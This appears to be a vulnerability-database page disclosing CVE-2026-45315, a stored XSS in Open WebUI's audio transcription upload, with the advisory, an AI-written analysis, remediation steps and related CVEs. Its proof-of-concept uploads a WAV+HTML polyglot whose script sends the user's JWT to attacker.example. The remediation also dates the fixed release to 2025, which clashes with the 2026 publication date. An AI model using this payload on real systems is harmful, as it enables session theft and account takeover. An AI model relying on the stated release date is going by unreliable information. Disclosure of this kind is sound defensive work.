Skip to main content

Open WebUI CVE-2026-45315

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-m8f9-9whg-f4xr
8.7
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:18 vuln.today
Analysis Generated
May 14, 2026 - 21:18 vuln.today
CVE Published
May 14, 2026 - 20:17 nvd
HIGH 8.7

DescriptionGitHub Advisory

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL - the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 - ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No

allowlist, no cross-check against file.content_type.

  • backend/open_webui/main.py:2768-2779 - /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension

and sets no Content-Disposition.

  • backend/open_webui/utils/misc.py:889-921 - strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload

passes regardless of the actual body.

  • backend/open_webui/config.py:1482 - USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) - JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 - OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

python
  import struct, httpx

  data = b'\x80' * 44100
  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
          b'RIFF', 36 + len(data), b'WAVE',
          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
          b'data', len(data)) + data
  payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'


  r = httpx.post(
      'https://VICTIM/api/v1/audio/transcriptions',
      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
      files={'file': ('pwn.html', payload, 'audio/wav')},
  )
  fn = r.json()['filename']
# '<uuid>.html'
 #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user - including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

AnalysisAI

Stored cross-site scripting (XSS) in Open WebUI ≤0.9.2 allows authenticated users with default speech-to-text permissions to upload polyglot WAV+HTML files through the audio transcription endpoint, achieving code execution in victim browsers and enabling full account takeover including administrator sessions. The vulnerability chains insecure file extension handling with unrestricted Content-Type serving and non-HttpOnly JWT storage to weaponize a single-click attack. Publicly available exploit code exists with video demonstration; no active exploitation confirmed by CISA KEV at time of analysis. CVSS 8.7 (High) reflects changed scope (S:C) and user interaction requirement, but real-world risk is elevated because the vulnerable permission defaults to enabled and the attack yields immediate admin-level access in typical deployments.

Technical ContextAI

Open WebUI is a Python-based web interface for large language model interactions, built on FastAPI/Starlette. The vulnerability exists in the audio transcription feature (routers/audio.py), which accepts file uploads for speech-to-text processing. The code extracts the file extension from the user-supplied filename via rsplit('.', 1)[-1] without validation, saves the file as <uuid>.<attacker_controlled_ext> under CACHE_DIR/audio/transcriptions/, then serves it through a generic /cache/{path} route using Starlette's FileResponse. FileResponse automatically derives Content-Type from the on-disk file extension with no Content-Disposition header, allowing an .html extension to return text/html. The MIME validation (strict_match_mime_type in utils/misc.py) only checks the upload request's Content-Type header against ['audio/*', 'video/webm'], not the actual file content, enabling polyglot files that are valid WAV audio plus HTML/JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) compounded by insecure direct object reference and Content-Type confusion. The authentication layer stores JWTs in localStorage.token (JavaScript-accessible) and sets OAuth cookies with httponly=False, violating secure session management principles and amplifying XSS impact to full session hijacking.

RemediationAI

Upgrade immediately to Open WebUI version 0.9.3 or later, released 2025-01-15 and available via pip (pip install --upgrade open-webui) or Docker (ghcr.io/open-webui/open-webui:v0.9.3), per the vendor advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr. The fix version 0.9.3 is confirmed in the release notes at https://github.com/open-webui/open-webui/releases/tag/v0.9.3. If immediate upgrade is not possible, disable the vulnerable feature by setting USER_PERMISSIONS_CHAT_STT=False in the environment configuration, which revokes audio transcription upload rights from non-administrator users; this workaround eliminates the attack surface but disables legitimate speech-to-text functionality for all non-admin users, impacting usability in voice-driven workflows. As a defense-in-depth measure for environments that must preserve STT functionality pre-patch, implement a reverse proxy (nginx/Traefik) rule to block direct access to /cache/audio/transcriptions/* paths and serve cached audio files only through an intermediary that forces Content-Disposition: attachment and X-Content-Type-Options: nosniff headers, though this introduces latency and complexity. Do not rely solely on web application firewall (WAF) rules to block polyglot files, as WAV+HTML polyglots can evade signature-based detection. After patching, rotate all user sessions and investigate access logs for suspicious .html file uploads to /api/v1/audio/transcriptions between deployment date and patch application, as any uploaded malicious files will persist in CACHE_DIR until manually removed.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-45315 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy